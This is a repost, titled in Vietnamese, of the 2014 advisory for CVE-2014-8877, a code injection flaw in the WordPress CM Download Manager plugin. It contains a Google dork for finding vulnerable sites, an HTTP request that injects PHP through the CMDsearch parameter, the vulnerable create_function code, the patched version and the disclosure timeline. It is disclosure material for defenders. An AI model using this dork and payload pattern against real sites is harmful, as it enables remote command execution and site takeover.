Lỗi Bảo Mật Code Injection Trong Plugin Của WORDPRESS

magicvn

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Vulnerability title: Code Injection in Wordpress CM Download Manager plugin
CVE: CVE-2014-8877
Plugin: CM Download Manager plugin
Vendor: CreativeMinds - https://www.cminds.com/
Product: https://wordpress.org/plugins/cm-download-manager/
Affected version: 2.0.0 and previous version
Fixed version: 2.0.4
Google dork: inurl:cmdownloads
Reported by: Le Ngoc Phi - phi.n.le (at) itas (dot) vn [email concealed]
Credits to ITAS Team - www.itas.vn


:: DESCRITION ::


Lỗi bảo mật code injection được tìm thấy trong plugin CM Download Manager của wordpress. Lỗi này cho phép một kẻ tấn công vô danh chiếm quyền điều khiển toàn bộ website và có thể chạy các lệnh của hệ điều hành.


GET /cmdownloads/?CMDsearch=".phpinfo()." HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: _ga=GA1.2.1698795018.1415614778; _gat=1; PHPSESSID=okt6c51s4esif2qjq451ati7m6; cmdm_disclaimer=Y; JSB=1415614988879
Connection: keep-alive
Vulnerable file:/wp-content/plugins/cm-download-manager/lib/controllers/CmdownloadController.php
Vulnerable code: (Line: 130 -> 158)


Code:
public static function alterSearchQuery($search, $query)
{
if( ( (isset($query->query_vars['post_type']) && $query->query_vars['post_type'] == CMDM_GroupDownloadPage::POST_TYPE) && (!isset($query->query_vars['widget']) || $query->query_vars['widget'] !== true) ) && !$query->is_single && !$query->is_404 && !$query->is_author && isset($_GET['CMDsearch']) )
{
global $wpdb;
$search_term = $_GET['CMDsearch'];
if( !empty($search_term) )
{
$search = '';
$query->is_search = true;
// added slashes screw with quote grouping when done early, so done later
$search_term = stripslashes($search_term);
preg_match_all('/".*?("|$)|((?<=[\r\n\t ",+])|^)[^\r\n\t ",+]+/', $search_term, $matches);
$terms = array_map('_search_terms_tidy', $matches[0]);


$n = '%';
$searchand = ' AND ';
foreach((array) $terms as $term)
{
$term = esc_sql(like_escape($term));
$search .= "{$searchand}(($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}'))";
}
add_filter('get_search_query', create_function('$q', 'return "' . $search_term . '";'), 99, 1);
remove_filter('posts_request', 'relevanssi_prevent_default_request');
remove_filter('the_posts', 'relevanssi_query');
}
}
return $search;
}
:: SOLUTION ::
Update to version 2.0.4


:: DISCLOSURE ::
2014-11-08 initial vendor contact
2014-11-10 vendor response
2014-11-10 vendor confirmed
2014-11-11 vendor release patch
2014-11-14 public disclosure


:: REFERENCE ::
https://downloadsmanager.cminds.com/release-notes/
http://www.itas.vn/news/code-injection-in-cm-download-manager-plugin-66.html?language=en
 
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